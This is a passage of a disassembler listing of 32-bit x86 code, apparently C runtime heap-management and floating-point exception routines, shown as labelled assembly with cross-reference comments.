		shl	ecx, 1
		inc	edi
		jmp	short loc_418FCF
; ---------------------------------------------------------------------------

loc_418FD8:				; CODE XREF: sub_418E53+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_418FF5
		push	3Fh
		pop	esi

loc_418FF5:				; CODE XREF: sub_418E53+19Dj
		cmp	esi, edi
		jz	loc_41910A
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419066
		cmp	edi, 20h
		jge	short loc_419035
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_419063
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_419066
; ---------------------------------------------------------------------------

loc_419035:				; CODE XREF: sub_418E53+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_419063
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_419066
; ---------------------------------------------------------------------------

loc_419063:				; CODE XREF: sub_418E53+1D6j
					; sub_418E53+203j
		mov	ebx, [ebp+arg_0]

loc_419066:				; CODE XREF: sub_418E53+1B0j
					; sub_418E53+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_419116
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419107
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_4190D8
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190C6
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_4190C6:				; CODE XREF: sub_418E53+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_419107
; ---------------------------------------------------------------------------

loc_4190D8:				; CODE XREF: sub_418E53+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190F1
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_4190F1:				; CODE XREF: sub_418E53+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_419107:				; CODE XREF: sub_418E53+24Ej
					; sub_418E53+283j
		mov	ecx, [ebp+var_8]

loc_41910A:				; CODE XREF: sub_418E53+1A4j
		test	ecx, ecx
		jz	short loc_419119
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_419119
; ---------------------------------------------------------------------------

loc_419116:				; CODE XREF: sub_418E53+229j
		mov	ecx, [ebp+var_8]

loc_419119:				; CODE XREF: sub_418E53+2B9j
					; sub_418E53+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41914F
		cmp	ebx, dword_46AB14
		jnz	short loc_41914F
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_46AB0C
		jnz	short loc_41914F
		and	dword_46AB14, 0

loc_41914F:				; CODE XREF: sub_418E53+2E0j
					; sub_418E53+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_419157:				; CODE XREF: sub_418E53+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418E53	endp


; =============== S U B	R O U T	I N E =======================================



sub_41915C	proc near		; CODE XREF: sub_418E53+CCp
		mov	eax, dword_46AB18
		mov	ecx, dword_46AB08
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41919F
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_46AB1C
		push	edi
		push	dword_46AB20
		call	dword_421160
		cmp	eax, edi
		jz	short loc_4191EF
		add	dword_46AB08, 10h
		mov	dword_46AB1C, eax
		mov	eax, dword_46AB18

loc_41919F:				; CODE XREF: sub_41915C+11j
		mov	ecx, dword_46AB1C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_46AB20
		lea	esi, [ecx+eax*4]
		call	dword_42114C
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4191EF
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_42117C
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4191F3
		push	dword ptr [esi+10h]
		push	edi
		push	dword_46AB20
		call	dword_421150

loc_4191EF:				; CODE XREF: sub_41915C+30j
					; sub_41915C+67j
		xor	eax, eax
		jmp	short loc_41920A
; ---------------------------------------------------------------------------

loc_4191F3:				; CODE XREF: sub_41915C+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_46AB18
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41920A:				; CODE XREF: sub_41915C+95j
		pop	edi
		pop	esi
		retn
sub_41915C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41920D	proc near		; CODE XREF: sub_418E53+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41921F:				; CODE XREF: sub_41920D+19j
		test	eax, eax
		jl	short loc_419228
		shl	eax, 1
		inc	ebx
		jmp	short loc_41921F
; ---------------------------------------------------------------------------

loc_419228:				; CODE XREF: sub_41920D+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41923D:				; CODE XREF: sub_41920D+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41923D
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_42117C
		test	eax, eax
		jnz	short loc_419270
		or	eax, 0FFFFFFFFh
		jmp	loc_419303
; ---------------------------------------------------------------------------

loc_419270:				; CODE XREF: sub_41920D+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_4192B6
		lea	eax, [edi+10h]

loc_41927D:				; CODE XREF: sub_41920D+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41927D

loc_4192B6:				; CODE XREF: sub_41920D+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4192F3
		or	[eax+4], edi

loc_4192F3:				; CODE XREF: sub_41920D+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_419303:				; CODE XREF: sub_41920D+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41920D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419308	proc near		; CODE XREF: sub_4174DF+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_4194B6
		test	bl, 1
		jnz	loc_4194AF
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_4194AF
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41937F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41937F:				; CODE XREF: sub_419308+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4193CF
		cmp	ecx, 20h
		jnb	short loc_4193AB
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193CF
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4193CF
; ---------------------------------------------------------------------------

loc_4193AB:				; CODE XREF: sub_419308+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193CF
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_4193CF:				; CODE XREF: sub_419308+7Dj
					; sub_419308+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41949D
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_419409
		push	3Fh
		pop	edi

loc_419409:				; CODE XREF: sub_419308+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41948B
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_419462
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419455
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_419455:				; CODE XREF: sub_419308+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_419487
; ---------------------------------------------------------------------------

loc_419462:				; CODE XREF: sub_419308+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419478
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_419478:				; CODE XREF: sub_419308+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_419487:				; CODE XREF: sub_419308+158j
		shr	edx, cl
		or	[eax], edx

loc_41948B:				; CODE XREF: sub_419308+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_4194A0
; ---------------------------------------------------------------------------

loc_41949D:				; CODE XREF: sub_419308+E5j
		mov	edx, [ebp+arg_4]

loc_4194A0:				; CODE XREF: sub_419308+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4195F6
; ---------------------------------------------------------------------------

loc_4194AF:				; CODE XREF: sub_419308+52j
					; sub_419308+5Cj
		xor	eax, eax
		jmp	loc_4195F9
; ---------------------------------------------------------------------------

loc_4194B6:				; CODE XREF: sub_419308+49j
		jge	loc_4195F6
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_4194E1
		push	3Fh
		pop	esi

loc_4194E1:				; CODE XREF: sub_419308+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_419570
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4194FA
		push	3Fh
		pop	esi

loc_4194FA:				; CODE XREF: sub_419308+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_419549
		cmp	esi, 20h
		jnb	short loc_419525
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_419546
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_419546
; ---------------------------------------------------------------------------

loc_419525:				; CODE XREF: sub_419308+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_419546
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_419546:				; CODE XREF: sub_419308+214j
					; sub_419308+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_419549:				; CODE XREF: sub_419308+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_419570
		push	3Fh
		pop	esi

loc_419570:				; CODE XREF: sub_419308+1DDj
					; sub_419308+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4195ED
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_4195C4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4195B7
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_4195B7:				; CODE XREF: sub_419308+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_4195E9
; ---------------------------------------------------------------------------

loc_4195C4:				; CODE XREF: sub_419308+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4195DA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_4195DA:				; CODE XREF: sub_419308+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_4195E9:				; CODE XREF: sub_419308+2BAj
		shr	edx, cl
		or	[eax], edx

loc_4195ED:				; CODE XREF: sub_419308+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_4195F6:				; CODE XREF: sub_419308+1A2j
					; sub_419308:loc_4194B6j
		push	1
		pop	eax

loc_4195F9:				; CODE XREF: sub_419308+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419308	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_4195FE(int,int,double,int)

sub_4195FE	proc near		; CODE XREF: sub_415E6C+51p
					; sub_415FB3+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_438708, 0
		jnz	short loc_419633
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_419BB3
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419633:				; CODE XREF: sub_4195FE+Aj
		push	0FFFFh
		mov	dword_4694B4, 21h
		push	[ebp+arg_C]
		call	sub_419E26
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4195FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419651(int,int,double,double,int)

sub_419651	proc near		; CODE XREF: sub_415E6C:loc_415F2Fp
					; sub_415FB3:loc_416076p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41999C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41968F
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4196E9
		add	esp, 18h

loc_41968F:				; CODE XREF: sub_419651+1Aj
		push	[ebp+arg_0]
		call	sub_419C86
		cmp	dword_438708, 0
		pop	ecx
		jnz	short loc_4196CD
		test	eax, eax
		jz	short loc_4196CD
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_419BB3
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_4196CD:				; CODE XREF: sub_419651+4Ej
					; sub_419651+52j
		push	eax
		call	sub_419C3B
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_419E26
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196E9	proc near		; CODE XREF: sub_419651+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41971B
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_41971B:				; CODE XREF: sub_4196E9+23j
		test	cl, 2
		jz	short loc_41972E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_41972E:				; CODE XREF: sub_4196E9+35j
		test	cl, bl
		jz	short loc_419740
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_419740:				; CODE XREF: sub_4196E9+47j
		test	cl, 4
		jz	short loc_419753
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_419753:				; CODE XREF: sub_4196E9+5Aj
		test	cl, 8
		jz	short loc_419766
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_419766:				; CODE XREF: sub_4196E9+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_419E09
		test	al, bl
		jz	short loc_4197EF
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4197EF:				; CODE XREF: sub_4196E9+FDj
		test	al, 4
		jz	short loc_4197FA
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4197FA:				; CODE XREF: sub_4196E9+108j
		test	al, 8
		jz	short loc_419805
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_419805:				; CODE XREF: sub_4196E9+113j
		test	al, 10h
		jz	short loc_41980F
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_41980F:				; CODE XREF: sub_4196E9+11Ej
		test	al, 20h
		jz	short loc_419819
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_419819:				; CODE XREF: sub_4196E9+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_419858
		cmp	eax, 400h
		jz	short loc_41984A
		cmp	eax, 800h
		jz	short loc_41983E
		cmp	eax, ecx
		jnz	short loc_41985E
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41985E
; ---------------------------------------------------------------------------

loc_41983E:				; CODE XREF: sub_4196E9+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_419854
; ---------------------------------------------------------------------------

loc_41984A:				; CODE XREF: sub_4196E9+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_419854:				; CODE XREF: sub_4196E9+15Fj
		mov	[eax], ecx
		jmp	short loc_41985E
; ---------------------------------------------------------------------------

loc_419858:				; CODE XREF: sub_4196E9+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_41985E:				; CODE XREF: sub_4196E9+14Bj
					; sub_4196E9+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_419889
		cmp	eax, 200h
		jz	short loc_41987C
		cmp	eax, ecx
		jnz	short loc_419896
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_419896
; ---------------------------------------------------------------------------

loc_41987C:				; CODE XREF: sub_4196E9+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_419894
; ---------------------------------------------------------------------------

loc_419889:				; CODE XREF: sub_4196E9+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_419894:				; CODE XREF: sub_4196E9+19Ej
		mov	[eax], ecx

loc_419896:				; CODE XREF: sub_4196E9+189j
					; sub_4196E9+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_419E17
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_421184
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_419910
		and	dword ptr [esi], 0FFFFFFFEh

loc_419910:				; CODE XREF: sub_4196E9+222j
		test	byte ptr [eax+8], 8
		jz	short loc_419919
		and	dword ptr [esi], 0FFFFFFFBh

loc_419919:				; CODE XREF: sub_4196E9+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_419922
		and	dword ptr [esi], 0FFFFFFF7h

loc_419922:				; CODE XREF: sub_4196E9+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41992B
		and	dword ptr [esi], 0FFFFFFEFh

loc_41992B:				; CODE XREF: sub_4196E9+23Dj
		test	[eax+8], bl
		jz	short loc_419933
		and	dword ptr [esi], 0FFFFFFDFh

loc_419933:				; CODE XREF: sub_4196E9+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_419967
